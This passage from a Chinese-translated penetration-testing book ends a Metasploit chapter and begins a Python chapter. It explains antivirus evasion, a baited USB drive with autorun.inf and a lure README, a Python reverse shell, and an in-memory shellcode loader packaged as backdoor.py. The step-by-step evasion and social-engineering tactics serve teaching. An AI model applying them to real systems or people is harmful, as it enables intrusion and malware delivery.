顺便提一下,我们通过这个手法提高了隐蔽性 – 现在,我们能避开 75% 的杀毒软件厂商,如下图所示:

图 7.12 – 通过调整策略提高我们的隐蔽性

图 7.12 – 通过调整策略提高我们的隐蔽性

这是一个典型例子,说明了微调在抗病毒逃避艺术中的重要作用。这个可执行文件发生了什么变化,使其看起来比上次更好?是通过 Shellter 的双重处理,还是使用了自定义的无害有效载荷?抗病毒检测有很多变量,很难说清楚,但请记住,在部署你的作品之前,你可能需要在实验室里多做一些测试。根据我的经验,通常我需要尝试几种不同的技巧,才能突破目标的防御。

为 Trojan 交付准备恶意 USB 驱动器

剩下的只有两个步骤 – 一个是技术性的(虽然非常简单),另一个纯粹是为了社会工程学的目的。让我们从技术步骤开始,即创建 autorun 文件:

  1. 这其实很简单,只需要创建一个名为 autorun.inf 的文本文件,指向我们的可执行文件。它必须以 [autorun] 开头,文件中打开的程序由 open= 指定。微软定义了其他的 AutoRun 命令,但 open= 是我们需要的唯一命令。你还可以添加 icon= 命令,这将使驱动器显示为可执行文件的图标(或任何你定义的图标),如图所示:

图 7.13 – 输入 AutoRun 文件

图 7.13 – 输入 AutoRun 文件

  1. 现在,到了社会工程部分。如果 AutoRun 不起作用怎么办?毕竟,现在很多系统都禁用了它。记住,如果有人愿意插入我们的驱动器,他们会看到文件。为了暗示运行DataRecovery.exe值得冒险,我们将添加一个诱人的README文件。这个文件会让它看起来像是删除的文件可以恢复。好奇心是很多人的软肋。看看以下截图:

图 7.14 – 输入我们的心理学 README

图 7.14 – 输入我们的心理学 README

你可能知道不要轻易上当,但想象一下在客户的公共区域散布 100 个 USB 驱动器。你不觉得会有反应吗?你只需要它工作一次 —— 这是对客户的宝贵教训。

总结

在本章中,我们学习了更多高级的 Metasploit 使用方法。我们通过使用 Metasploit 框架之外的工具——Shellter,将有效载荷生成技能提升到了一个新水平,利用 Metasploit 有效载荷。我们还探索了msfvenom的功能,今天它将以前的 Metasploit 有效载荷和编码器工具结合起来。接着在了解了有效载荷之后,我们学习了如何使用 Ruby 构建自定义模块,并使其在 Metasploit 中运行。然后,我们检查了如何通过 Armitage 前端 GUI 使 Metasploit 变得高度组织化和高效。我们还演示了如何在 Armitage 中枚举和利用目标。最后,我们学习了如何利用 Metasploit 有效载荷来构建强大的社会工程攻击。秉承真正的黑客精神,下一章将带领我们更深入地了解处理器如何看待我们的代码片段。

问题

回答以下问题以测试你对本章内容的掌握:

  1. 有哪三种类型的有效载荷?

  2. __________ 是一个常见的十六进制字节,它会破坏我们有效载荷的执行。

  3. 应该使用哪个msfvenom标志来指定有效载荷在 x86 指令集架构上运行?

  4. 在 Ruby 中,def定义一个 _______。

  5. print_good()print_status()有什么区别?

  6. Armitage 中只有一个目标视图。(正确 | 错误)

  7. 当你发送 Shellter 隐身模式的有效载荷时,______ 应该始终设置为 ______,当你为windows/meterpreter/reverse_tcp配置选项时。

  8. 所有现代 Windows 主机默认启用 AutoRun。(正确 | 错误)

深入阅读

有关本章所涉及的主题的更多信息,请查看以下资源:

第二部分:漏洞基础

在本节中,你将首先探索 Python 和 PowerShell 脚本语言的渗透测试基础,然后进入为期三章的 Shell 编码研究。本部分将覆盖堆栈操作的基础以及这些技术如何随着防御措施的演进而发展。本研究的最后部分将分析现代的杀毒软件绕过技术。最后,我们将审视 Windows 内核漏洞基础和利用研究,采用模糊测试方法。

本书的这一部分包括以下章节:

  • 第八章Python 基础

  • 第九章PowerShell 基础

  • 第十章Shell 编码 – 堆栈

  • 第十一章Shell 编码 – 绕过防护

  • 第十二章Shell 编码 – 绕过杀毒软件

  • 第十三章Windows 内核安全

  • 第十四章模糊测试技术

第八章:Python 基础

传说计算机其实非常笨拙;它们只是在进行数字计算和在内存中移动东西。尽管这一说法有些过于简化,但它们如何“思考”仍然显得神秘莫测。没有比编程更好的方式来了解计算机实际如何思考了。本书的其他地方,我们将看到不同层次的编程语言——汇编语言,最底层的机器代码,由助记符操作码opcode)构成;C 语言,最基础的高级语言;甚至 Python,作为一种高级解释型语言。Python 拥有庞大的标准库模块,可以帮助渗透测试员pen tester)完成几乎所有任务。在第二章绕过网络访问控制中,我们展示了如何在自己的 Python 脚本中使用 Scapy 的功能,将特制的数据包注入网络。作为渗透测试员,我们可以通过学习如何在自己的自定义程序中利用这些功能来进一步提升自己的技能。本章将回顾如何在安全评估的背景下使用 Python,我们将讨论以下主题:

  • 将 Python 融入你的工作

  • 在 Python 环境下介绍 Vim

  • 使用 Python 模块进行网络分析

  • 在 Python 中进行反恶意软件逃逸

  • Python 和 Scapy——一对经典搭档

技术要求

要完成本章的练习,你将需要以下内容:

  • Kali Linux

  • 安装了 Python 的 Windows 主机

  • Pip 安装 Pythonpip)和 PyInstaller 在 Windows 上的安装(Python 安装的一部分)

将 Python 融入你的工作

许多人问过我:做渗透测试员需要是程序员吗? 这是一个会引发各种激烈争论的问题,纯粹主义者们会给出不同的回答。有些人说,如果没有成为一名熟练的程序员,就不能算真正的黑客。我的观点是,黑客的定义与具体技能关系不大,而更关乎理解力和心态;黑客是一种解决问题的个性和生活方式。话虽如此,我们得承认——如果没有一定的编程和脚本知识,进步将会受到阻碍。做渗透测试员就像是一个万事通,我们需要接触多种语言,而不是专注于一种语言的开发者。如果要在编程与渗透测试这方面选择一个最低要求,我会建议你学习一门脚本语言。如果只能选一门脚本语言来作为安全从业人员的入门,我会选择 Python。

编程语言和脚本语言有什么区别?为了明确起见,脚本语言也是一种编程语言,它们之间的区别在于从编码到执行之间所采取的步骤。脚本语言不需要编译步骤;脚本在执行时按指令进行解释——因此,这类语言的正确术语应该是解释型语言。C 语言是传统编程语言的一个例子,它在执行之前需要编译。然而,这些界限正变得越来越模糊。例如,完全可以有一个 C 解释器的存在,使用它可以让你编写 C 脚本。

为什么选择 Python?

Python 是一个理想的选择,原因有很多,但它的设计哲学中的两个元素使其特别适合我们的目标——成为一个高级渗透测试人员——它的强大(它最初设计是为了吸引 Unix/C 黑客)和它对可读性与可重用性的强调。作为专业人士,你将和其他人一起工作(不要指望在这个领域能够像黑帽孤狼那样独自作战);Python 是少数几种语言之一,与你的同事分享你得心应手的工具,很可能不会收到后续的*你到底在想什么?*邮件来了解你的构建思路。

也许最重要的一点是,Python 是你可能会在客户网络外围后面发现的目标之一。你已经通过某种方式进入了网络,发现自己处于一个丰富的内部网络中,但你登陆的主机上没有你需要的工具。令人惊讶的是,你会发现 Python 在这样的环境中已经安装得相当普遍。更重要的是,你总能在任何被攻陷的 Linux 主机上找到一个 Python-aware 的文本编辑器。接下来我们将讨论编辑器。

Python 中的一个核心概念使其成为黑客首选的编程语言,那就是模块。模块是一个简单的概念,但对于 Python 程序员来说却具有强大的影响力。模块不过是一个包含 Python 代码的文件,其功能可以通过import语句引入到你的代码中。通过这个功能,模块的所有属性(或者说是某个特定属性)都可以在你的代码中被引用。你也可以使用from [module] import来挑选并引入你需要的属性。全球有许多聪明的人编写了大量的模块,随时准备供你放入import搜索路径中,这样你就能引入任何你想要的属性来在代码中完成某些工作。最终结果?一块紧凑且高度可读的 Python 代码,能够完成一些非常棒的事情。

在写本章时,Python 3 是最新最强大的版本,任何仍然在生产环境中使用 Python 2 的人,都被强烈鼓励熟悉 Python 3。一个实用的 Python 工具 2to3 可以将你的 Python 2 代码转换为 Python 3。我们将在第十二章Shellcoding - Evading Antivirus 中探讨如何配置全局安装以实现向后兼容性。既然我们已经熟悉了基础知识,那么让我们熟悉一下 Kali 中的 Python 编辑器吧。

在 Kali 环境中舒适地使用 Python

在 Python 开发过程中,你将使用两个主要组件——交互式解释器和编辑器。你可以通过以下简单命令调用解释器:

python3

解释器正如其名称所示——它会即时解释 Python 代码。当你在编写代码时,这能够节省大量时间,因为你可以——例如——检查你的公式,而无需关闭编辑器并运行代码,寻找相关行。

在这个示例中,我们输入了 print("Hello, world!"),解释器简单地打印了这个字符串。我随后尝试了一个公式,并玩弄了 int() 函数来将结果四舍五入到最接近的整数。因此,我在没有编写和运行代码的情况下,实验了我的公式,并了解了一些关于 Python 的知识:

图 8.1 – 在 Kali 中玩转 Python 3

图 8.1 – 在 Kali 中玩转 Python 3

对于大多数 Python 开发者来说,使用两个屏幕同时打开——一个是解释器,另一个是编辑器——这并不是什么惊讶的事。解释器是 Python 安装的一部分;你输入 python3 并按下 回车 键时,所得到的就是人们将要使用的解释器。而编辑器则可以根据个人喜好选择——再次强调,这个领域的观点通常会非常激烈!

编辑器只是一个文本编辑器;从技术上讲,Python 文件也是文本。我可以用 Windows 记事本写 Python 脚本,它也能正常工作——但我并不推荐这么做(告诉别人你就是这么写代码的,那一定会引来奇怪的目光)。如果它只是一个文本编辑器,那又有什么大不了的呢?你在选择编辑器时最重要的特性是语法意识——编辑器能够理解你正在输入的语言,并以独特的方式展示语法。它将原本只是 Python 的文本,变成一个活生生的代码片段,让你的生活变得更加轻松。

哪怕是最小的错误——例如忘记了一个闭合的引号——都会在编辑器试图理解你的语法时突出得像一个明显的伤口。市面上有几款很好的语法感知编辑器;一些流行的包括 Notepad++、gedit、nano、Kate 和 Vim。现在,更为严谨的开发者可能会使用集成开发环境IDE),它是一个更全面的解决方案,帮助你理解代码的执行,并协助编写代码。IDE 可能有调试器和类浏览器等功能,而编辑器则没有。市面上有很多 IDE 可供选择,大多数都是免费的,且有商业版,支持各种操作系统;其中一些好的 IDE 包括Wing IDEPyCharm

IDE 很酷,但请注意,我们在这里的目的并不是使用它。建议你熟悉你最喜欢的 IDE,但我们的目标是追求简约和灵活性。拥有一个舒适的 IDE 设置是你在专用机器上使用的东西,这对于编写一个新的工具集并在你的任务中携带会非常棒。而我们这里讨论的背景是,在一个基本的机器上编写 Python 脚本,在这种情况下,使用你最喜欢的 IDE 可能不太实际。能够仅靠一个普通的 Python 安装加上一个编辑器就能应付,远比学习一个 IDE 更为重要,所以我鼓励你在这本书外掌握一个 IDE。现在,我们将继续使用一个几乎任何 Linux 机器上都能启动的编辑器,并且应该能够原生理解 Python 语法。我选择的编辑器可能会让一些读者直接把这本书当火把烧掉,而其他读者则会为此欢呼。没错——我要使用 Vim。

介绍具有 Python 语法感知的 Vim

要了解 Vim 作为编辑器的声名狼藉,只需在你最喜欢的搜索引擎中输入:如何退出 Vim?

Vim 代表Vi IMproved,因为它是原始 vi 编辑器的克隆,但做了一些被称为改进的变化。公平地说,这些确实是改进,而且它有很多——我们这里不会一一讲解。但有一个关键的改进——它对脚本语言(如 Python)的原生支持。另一个改进对于那些还没准备好适应 Vim 那种“坐在航天飞机驾驶舱”的感觉的人来说非常实用:Vim 的图形界面版本,称为 gVim。图形版本本质上还是 Vim,所以可以随意尝试。

我或许应该提一下 Emacs 和 vi/Vim 之间那场漫长且血腥的编辑器战争。我选择 Vim 作为本章的工具并不是对这场战争的表态。我更倾向于将其作为一个快速且轻量的工具,在这里,我们的主要关注点是带有 Python 语法区分的文本编辑。对 Emacs 的最喜欢的描述是它是一个操作系统内的操作系统——我认为它对于我们在这里的需求来说有点过于复杂。我鼓励读者在本章之外也尝试使用这两者。

使用这个简单的命令启动 Vim:

vim

你会看到一个编辑器启动屏幕,告诉你如何快速进入帮助文件,如下所示:

图 8.2 – Vim 启动屏幕

图 8.2 – Vim 启动屏幕

当你在 Vim 中打开任何文档(或开始一个新会话)时,你是在浏览文件,而不是编辑。要真正输入文档内容,我们称之为 插入模式,可以通过按 i 键启用。你会在屏幕底部看到 INSERT 字样。使用 Esc 键退出插入模式。向 Vim 输入命令时,用冒号(:)加上具体的命令——例如,退出 Vim 就是输入 :q 后按 Enter。暂时不用担心太多细节,我们在编写脚本时会一步一步讲解基础操作。

在我们编写第一个有用的 Python 脚本之前,先开启语法高亮并编写一个简单的 hello_world 程序。在 Kali 中,Vim 已经能够识别 Python 语法;我们只需要告诉 Vim 我们正在处理特定类型的文件。首先,输入 vim 和文件名,然后按 : 进入命令模式,如下所示:

vim hello_world.py

然后,输入以下命令并按 Enter

:set filetype=python

当你准备好时,按 i 键进入插入模式。当你输入 Python 脚本时,语法会自动高亮显示。写下你的 Hello, World 脚本,像这样:

print("Hello, World!")

Esc 退出插入模式。然后,使用 :wq! 保存更改并一键退出 Vim。

运行你的程序,惊叹于你的杰作吧。它就是这样:

图 8.3 – Python 中的 Hello, World!

图 8.3 – Python 中的 Hello, World!

好了,别再浪费时间了。让我们开始做一些网络编程吧。

使用 Python 模块进行网络分析

使用正确的模块的 Python 脚本可以成为一个成熟和强大的网络技术员。Python 在你能想到的每一个抽象层面都有它的位置。你只需要一个快速而粗糙的服务作为一些任务的前端,比如下载文件?Python 来帮忙。你需要深入了解低级协议,通过条件逻辑嵌套脚本化特定数据包操作,与第 3 层的网络交流,甚至下到数据链路层?Python 让这一切变得有趣而容易。最棒的部分是你可以想象到的任何项目的可移植性;正如我提到的,你将作为一个渗透测试人员在一个团队中工作,很少有你会独自工作的情况。即使你是一个独行侠项目,白帽黑客都会通知客户,没有商业机密或魔术师的代码,所以你可能会被要求用可理解的术语解释坏人如何逃脱你的胜利。向某人发送一些代码——无论是熟练的同事还是代表你客户的知识渊博的管理员——当概念验证POC)需要环境依赖和长时间的实验室组装时,这可能会对接收者提出一些要求。另一方面,Python 脚本则非常易于使用。你可能需要提供的最多是并未包含在庞大的 Python 社区中的特殊模块。Python 在网络编程方面表现突出,考虑到网络任务在任何评估中的重要性,这是合适的。

网络编程的 Python 模块

我们有趣的小hello_world程序只需要 Python 来解释你复杂的代码。然而,你毫无疑问已经意识到,hello_world对于渗透测试人员来说并不太有用。首先,它只是展示一个过度使用的陈词滥调。但即使它更方便,也没有导入。就功能而言,你看到的就是你得到的。真正释放 Python 的能力是当我们用模块展示能力时。如果我要猜测你最常使用的任务类型,我会猜测是网络编程。

Python 程序员有很多选项可以让他们的脚本与网络进行交互。理解模块的关键是通过层级或级别来组织它们。低层模块给你最大的控制权,但它们可能难以正确使用;高级模块通过在幕后处理低级构造,让你编写更具 Python 风格的代码。任何在更高抽象层次上工作的东西,都可以通过低层代码实现,但通常需要更多的代码行。以socket模块为例,socket是一个低级网络模块:它暴露了伯克利软件分发BSD套接字应用程序接口(API)。通过导入socket并配合正确的代码,你的 Python 程序几乎可以在网络上做任何事情。如果你是那种有雄心的人,想用 Python 的魔力替代——比如——网络映射器Nmap),那么我敢打赌你代码的第一行就是import socket。在高级层面上,你有像requests这样的模块,它允许你进行直观的超文本传输协议HTTP)交互。只需一行代码,导入requests就能把整个网页转换为一个可以操作的 Python 对象。不错吧。

记住——任何在高级别上工作的东西都可以通过低级别代码和模块来构建;你不能用高级模块来完成低级任务。所以,让我们举个例子。在渗透测试中使用 Python 将大量依赖于socket,因此让我们快速构建一个简单粗暴的客户端。仅用 11 行代码,我们就可以连接并与服务进行交互,并存储其响应。

记住,socket作为低级模块,会调用操作系统的套接字 API。这可能会使你的脚本依赖于平台!现在,让我们开始构建我们的客户端骨架。

构建 Python 客户端

在我们的示例中,我已经在我的实验室中通过标准端口80设置了一个 HTTP 服务器,IP 地址为192.168.108.229。我正在编写一个客户端,它将与目标 IP 地址和端口建立 TCP 连接,发送一个特定格式的请求,接收最多 4,096 字节的响应,将其存储在本地变量中,然后简单地将该变量显示给用户。我将其余部分留给你自己想象,看看你能从这里出发去做些什么。

在本章的例子中,你会看到的第一行是#!/usr/bin/python3。回想一下我们在书中早些时候使用 Python 脚本的部分,你会记得我们用chmod命令让脚本在 Linux 中可执行,然后使用./执行它(这告诉操作系统可执行文件位于当前目录,而不是在用户的$PATH中)。#!被称为 shebang(没错,我是认真的),它告诉脚本在哪里找到解释器。通过包含这一行,你可以将脚本视为可执行文件,因为解释器可以通过你的 shebang 行找到:

图 8.4 – 最基本的客户端

图 8.4 – 最基本的客户端

让我们逐步查看这段简单的代码:

  • 使用webhostwebport,我们定义了目标的 IP 地址和端口。在我们的例子中,我们在脚本中定义它们,但你也可以从用户那里获取输入。

  • 我们已经熟悉了print(),但在这个例子中,我们可以看到变量是如何在打印文本中显示的。请记住,IP 地址是字符串,端口是普通整数:看看我们是如何分配webport的,而没有使用单引号。我们将使用星号(*****)让 Python 解包我们的序列,而print()会为我们处理类型转换。

  • 现在是有趣的部分。调用socket.socket()创建一个你选择的 Python 对象;它看起来像一个变量,并且是创建的套接字的 Python 表示。在我们的例子中,我们创建了一个名为webclient的套接字。从现在起,我们使用webclient来操作这个套接字。由于套接字是低级别的,我们需要告诉它我们使用的是哪种地址族,因为 Unix 系统可以支持多种地址族。这时,AF_INET就派上用场了:AF表示地址族,INET表示IP version 4IPv4)。(AF_INET6适用于 IPv6,当你需要更复杂的操作时可以使用。) SOCK_STREAM表示我们使用的是流套接字,而不是数据报套接字。简单来说,流套接字用于进行有明确约定的 TCP 会话,而数据报则是“发了就算”的类型。AF_INETSOCK_STREAM的组合是你几乎每次都会使用的。

  • 现在,我们通过用句点分隔对象名称和任务来操作我们的套接字。如你所料,你可以设置一堆具有唯一名称的sockets,并通过它们管理代码中的连接。webclient.connect()建立与目标 IP 和端口的 TCP 连接。接着使用webclient.send()将数据发送到已建立的连接。请记住,send()需要将其参数作为字节传递,因此简单的字符串不起作用——我们在字符串前加上b来实现这一点。

  • 就像在任何健康的关系中一样,我们发送一个友好的消息,并期望得到回应。webclient.recv() 为这个回应准备了一些空间;它接受的参数是这个准备空间的大小,且准备空间被命名,使其成为我们代码中的一个对象——在这个例子中,我称它为枯燥但合逻辑的reply

我们通过显示reply对象——与被联系服务器的响应——来结束,但你可以对回复做任何你想做的事情。此外,请注意,脚本到此为止,因此我们没有看到使用sockets的影响——它们通常是短暂存在的实体,专门用于短暂的对话,因此此时套接字将被拆除。在处理sockets时请记住这一点。

构建一个 Python 服务器

现在,我们将设置一个简单的服务器。我说的是简单服务器,这可能会让你想象成只是具有基本功能的 HTTP 服务器——不,我指的是真正简单的。这将仅仅监听连接,并在接收到数据后采取行动。让我们看看这里的代码:

图 8.5 – 基础服务器

图 8.5 – 基础服务器

请注意,我引入了一个新模块:threading。这个模块本身是一个用于与thread模块(在 Python 3 中称为_thread)进行接口的高级模块。如果你想构建线程接口,我建议你只导入threading。我知道有人会问:什么是线程? 线程只是编程中我们都熟悉的一个花哨的术语:特定的函数调用或任务。当我们学习编程时,我们一次处理一个函数调用,以便理解它们的结构和功能。线程的概念在我们工作中有一些需要稍等的任务时就会派上用场——例如,等待某人连接,或者等待某人向我们发送数据。如果我们在运行一个服务,我们在等待处理连接。但如果每个人都去睡觉了呢?我可能在一秒内就收到连接,或者也许在几天的等待后才幸运地看到一次连接。后者是我们黑客潜伏时常见的场景:我们设置了一个陷阱,只需要目标点击链接或执行某个负载。线程允许我们一次管理多个任务——线程。让我们通过下面的简单服务器脚本来看它是如何工作的:

  • 我们从声明 IP 地址和端口号开始,这些将在此用于设置本地监听器。然后我们创建一个名为server的套接字,并将其定义为带有 IPv4 地址的流套接字。

  • 现在,我们使用server.bind()将套接字绑定到本地端口。请注意,IP 地址已经声明,但我们设置为0.0.0.0。从网络角度来看,如果一个数据包到达我们的套接字,那么它已经被正确地路由,并且源主机已经正确地定义了我们的 IP 地址。这意味着,如果我们的系统有多个接口并且有多个 IP 地址,这个监听器对于任何能与我们接口通信的客户端来说都是可达的!

  • 绑定并不会告诉套接字绑定后要做什么。因此,我们使用server.listen()打开该端口;一个传入的同步SYN)数据包会自动被处理为SYN-acknowledgeSYN-ACK)以及最终的 ACK。传递给listen的参数是最大连接数。我们随便设置了4;你的需求可能不同。通过print,用户会得到提示,表示我们已经启动并运行。

  • 我们尝试过“解包我的序列”方法来将文本打印到屏幕;在这里,我们将做一些不同的事情。使用百分号符号(%),我们可以放置小的占位符来处理不同的数据类型。使用d表示十进制;s表示字符串。

  • 现在进入一些更疯狂的操作——定义一个connect函数。这个函数是我们的客户端连接处理器调用的;也就是说,connect函数并不直接处理连接,而是决定在连接建立后做什么。代码不言自明:它为接收的数据预留了一个千字节KB)的空间,并称之为received,然后回复一条消息,最后关闭连接。

  • 我们的while循环语句使我们的服务器保持运行状态。while循环语句是另一个基本的编程概念:它是一个条件循环,只要给定的条件为真,它就会继续执行。假设我们有一个名为loop的整数变量。我们可以创建一个while循环,从while loop < 15开始,只要loop小于15,我们放入的任何代码都会执行。我们可以通过breakcontinue控制流的嵌套条件。不过,我知道你们程序员的想法:它说在条件为真时执行循环,但没有定义条件。没错,朋友们。我喜欢称这个为存在性循环语句——有点像程序员版的我思故我在。一个以while True开始的循环将会永远执行下去。这样的循环有什么意义呢?这是一种紧凑而简洁的方式,保持程序运行直到代码中的某个条件满足,无论是在调用的函数中还是在嵌套的条件测试中,这时我们会使用break

  • server.accept()处于我们永不结束的while循环中,准备抓取连接客户端的地址数组。Python 中的数组是从0开始的,所以请记住:数组中的第一个值是[0],第五个值是[4],以此类推。地址数组的第一个值是 IP 地址,第二个值是端口,因此我们可以向用户显示连接客户端的详细信息。

  • 我们使用threading.Thread()创建一个线程,并命名为client_handler。接着直接调用client_handler.start()来启动它,不过在你的程序中,你可以创建一些条件来启动该线程。请注意,传递给threading.Thread()的目标参数会调用connect函数。当connect函数完成后,我们会进入一个无限循环,正如这里所示:

图 8.6 – 运行我们的 Python 服务器

图 8.6 – 运行我们的 Python 服务器

在这里,我们看到脚本的实际操作,处理来自安全外壳SSH)客户端(其已自我标识)的连接,然后是一个类似 netcat 的连接,它发送了Hello。在我们重新进入while True循环之前,会显示一条Listening on的消息,因此除了使用Ctrl + C,没有其他简单的方法来终止这个程序。这个程序是服务器功能的框架。只需在其中加入你自己的 Python 魔法,可能性是无穷无尽的。

构建一个 Python 反向 shell 脚本

好的——所以,你正在进行后期利用阶段。你发现自己在一台安装了 Python 但没有其他工具的 Linux 主机上,并且你希望创建一个脚本,在特定场景下调用它,从而自动返回一个 shell。或者,也许你正在编写一个恶意脚本,希望从一个 Linux 目标返回一个 shell。无论是哪种情况,我们先快速看一下一个 Python 反向 shell 的框架,内容如下:

图 8.7 – Python 反向 shell

图 8.7 – Python 反向 shell

现在,我们引入了两个新模块:ossubprocess。这正是 Python 与操作系统交互能力的体现。os模块是一个多功能的操作系统接口模块,它是一个一站式解决方案,即使是在某些操作系统的特性下—当然,如果系统之间的可移植性是一个问题,使用时要小心。os模块非常强大,超出了我们在这里讨论的范围;我鼓励你自己去研究它。subprocess模块通常与os模块一起使用,它允许你的脚本生成进程,获取它们的返回码以供主脚本使用,并与它们的输入、输出和错误管道进行交互。让我们在这里看一下具体的内容:

  • 我们正在创建一个新的 IPv4 流式套接字,并命名为sock

  • 我们使用sock.connect()用新的套接字连接到指定 IP 地址和端口的主机(在我们的示例中,我们只是进行本地测试——这对任何可达的地址都有效)。

  • 启动/bin/sh当然是很好的,但是我们需要输入、输出和错误管道与我们的套接字进行通信。我们通过os.dup2(sock.fileno())来实现这一点,其中02分别代表stdinstdoutstderr

  • 我们通过subprocess.call()调用/bin/sh -i。请注意,这会创建一个我们称之为proc的对象,但我们不需要做任何操作。该进程已经被生成,并且其标准流已经通过我们的套接字建立。Shell 已经在我们的远程屏幕上弹出,而它并不知道,就像这里所示的那样:

图 8.8 – 连接到我们的反向 shell 监听器

图 8.8 – 连接到我们的反向 shell 监听器

现在,我们启动我们的反向 shell 脚本。显然,需要有一个监听器准备好接收来自我们脚本的连接,因此我只需启动nc -l并指定我们在脚本中声明的端口。熟悉的提示符出现,我确认我已获得执行我们脚本的用户的许可。

说到用 Python 助手走私货物,我们来看看如何通过直接将恶意代码从网络传输到内存中来规避抗恶意软件软件。

Python 中的抗恶意软件规避

我们在第七章中探讨了抗恶意软件规避,利用 Metasploit 进行高级利用。我们回顾的技术涉及将我们的负载嵌入到一个无害可执行文件的自然执行流程中。我们还介绍了编码技术,以减少检测签名。然而,解决问题的方法不止一种。(是谁想出了那个可怕的表达方式?)

如果你曾经防御过现实世界中的攻击,你可能见过各种规避技巧。过去常用的技巧往往是低级的(例如我们在第七章中用 Shellter 演示的,利用 Metasploit 进行高级利用),但是检测技术已经有了很大改进。如今,创造一个完全不可检测的威胁变得更加困难,它至少会触发一个可疑文件拦截。

因此,现代攻击往往是低级和高级的结合——利用社交工程和技术手段通过其他渠道将恶意软件传递到目标主机上。我曾经处理过一些案例,其中通过钓鱼技术偷偷进入的负载,仅仅是一个脚本,它利用本地资源从互联网上获取文件。一旦这些文件被获取,它们就在本地组装恶意软件。我们将使用 Python 来创建一个单一的.exe文件,该文件具有两个重要任务,如下所示:

  • 从网络获取负载

  • 将原始负载加载到内存并执行

Python 脚本本身几乎没有做什么,且没有恶意有效负载时,它并没有恶意签名。有效负载本身将不会像通常预期那样作为已编译的可执行文件到来,而是作为 base64 编码的原始 shellcode 字节。

因此,在攻击场景中,我们将有一个目标 Windows 计算机,我们将把我们的可执行文件放在其中进行执行。同时,我们在 Kali 中设置一个 HTTP 服务器,准备好根据适当格式的请求提供原始有效负载(该请求将在 Python 脚本中进行编码)。脚本接着解码有效负载并将其放入内存中。但首先,我们需要能够将 Python 脚本转换为 EXE 文件。

创建 Python 脚本的 Windows 可执行文件

我们需要的有两个组件——pip,一个 Python 包管理工具,以及 PyInstaller,一个很棒的工具,它读取你的 Python 代码,确定它的所有依赖项(你可能通过在 Python 环境中运行它而理所当然地使用了这些依赖),并从你的脚本生成一个 EXE 文件。不过,PyInstaller 有一个重要的限制——你需要在目标平台上生成 EXE 文件。所以,你需要一台 Windows 计算机来启动这个过程。

用你的 Windows 计算机进入 Commando 模式

我最喜欢的玩具之一是通过 Mandiant 的优秀 虚拟机VM)将一台 Windows 电脑转变为攻击平台。最简单的理解方式是 Kali for Windows——一个渗透测试的通用操作系统载荷。它并不是一个预装的发行版,而是一个精致的安装程序,能够将你的普通 Windows 机器转换为攻击平台,下载所需的所有内容并为你调整设置。你在本次练习中并不需要它,但我会将它用作我的进攻性 Windows 环境。我认为没有它的渗透测试实验室是不完整的!

在我们的 Windows 机器上,已经安装并准备好 Python。(你也已经安装并准备好 Python 了,对吧?)所以,我执行了这个命令:

C:> python –m pip install pyinstaller

这将获取 PyInstaller 并为我们准备好。它是一个独立的命令行程序,不是一个模块,因此你可以从相同的命令提示符运行 pyinstaller 命令。

准备你的原始有效负载

再次回到那个永远美丽的 msfvenom。我们这里没有做什么新鲜事,但如果你不是从 第七章Metasploit 高级利用)过来的,建议先查看 msfvenom 的相关内容。让我们开始吧。看看下面的截图:

图 8.9 – 使用 msfvenom 生成原始有效负载

图 8.9 – 使用 msfvenom 生成原始有效负载

在这里,我们有一个快速简单的绑定有效负载;这一次,目标将会监听我们的连接以生成一个 shell。请注意,我指定了应避免使用空字节(--bad-chars),而且不需要生成 EXE 文件或任何其他特殊格式,-f raw 参数使得输出格式为原始格式:纯机器码(十六进制)。最终结果是 355 字节,但因为我没有将其编译或转换成其他任何形式,新的 shellcode.raw 文件就是 355 字节。

最后一步是创建一个将通过网络分阶段传输的有效负载。我们将对文件进行 base64 编码,主要有一个原因以及一个可能的副作用。主要原因是 base64 设计用于便于表示二进制数据,因此它不太可能被一些库函数篡改,这些函数可能试图检查损坏或者甚至防止注入。根据防御措施的不同,可能的副作用是让代码变得更难以检测。

base64 编码和解码已经内建于 Kali 中,并且作为一个模块在 Python 中提供,因此我们可以轻松地在我们这端进行 base64 编码,然后编写脚本在将其加载到内存之前快速解码,如此处所示:

图 8.10 – Base64 编码的 Shellcode,准备下载

图 8.10 – Base64 编码的 Shellcode,准备下载

关于 base64 的附注:虽然 base64 编码在一些系统中很流行,作为隐藏数据的一种手段,但它仅仅是一个不同的基数系统,而不是加密。防御者应该知道永远不能依赖 base64 来确保机密性。

我们已经准备好打开我们的惊喜,但我们仍然需要获取代码——让我们来看一下。

在 Python 中编写你的有效负载获取与交付代码

现在,让我们回到 Python,编写攻击的第二阶段。记住,最终我们将得到一个特定于 Windows 的 EXE 文件,因此这个脚本需要在你的 Windows PyInstaller 主机上运行。你可以在 Kali 上编写然后传输过来,或者直接在 Windows 上用 Python 编写,这样可以省去一步。

需要导入九行代码和一个 355 字节的有效负载。还不错,这是一个很好的示范,展示了 Python 的轻量级特性,正如我们在这里看到的:

图 8.11 – Shellcode 获取器

图 8.11 – Shellcode 获取器

让我们逐步分析这段代码,具体如下:

  • 我们需要查看三个新的 import 语句。请注意,第一个语句是 from ... import,这意味着我们正在精确选择要使用的源模块(或在本例中,是一个模块包)中的组件。在我们的案例中,我们不需要全部的 统一资源定位符URL)处理;我们只需打开一个已定义的 URL,因此我们只引入 urlopen

  • ctypes 导入是一个外部函数库;也就是说,它使得在共享库(包括 动态链接库DLLs))中进行函数调用成为可能。

  • urlopen() 访问定义的 URL(我们通过在包含 base64 编码的有效载荷的目录中执行 python -m SimpleHTTPServer 来设置该 URL),并将捕获内容存储为 pullhttp

  • 我们使用 base64.b64decode() 并传递 pullhttp.read() 作为参数,将我们的原始 shellcode 存储为 shellcode

  • 现在,我们使用一些 ctypes 魔法。ctypes 足够复杂,可以作为一章独立讨论,所以我鼓励大家进一步研究;目前,我们为我们的有效载荷分配了一些缓冲区空间,使用 len() 为我们的有效载荷分配与其大小相同的空间。然后,我们使用 ctypes.cast() 将我们的缓冲区空间转换为函数指针。当我们这么做时,我们就得到了 exploit_func()——实际上,这是一个 Python 函数,我们可以像调用任何普通函数一样调用它。当我们调用它时,我们的有效载荷就会执行。

  • 那么,还有什么可以做的呢?我们调用我们的 exploit_func() 漏洞利用函数。

在我的示例中,我在 Vim 中编写了这个代码,并将其存储为 backdoor.py。我将它复制到我的 Windows 机器上,并执行 PyInstaller,使用 --onefile 参数指定我要生成一个单一的可执行文件,如下所示:

pyinstaller --onefile backdoor.py

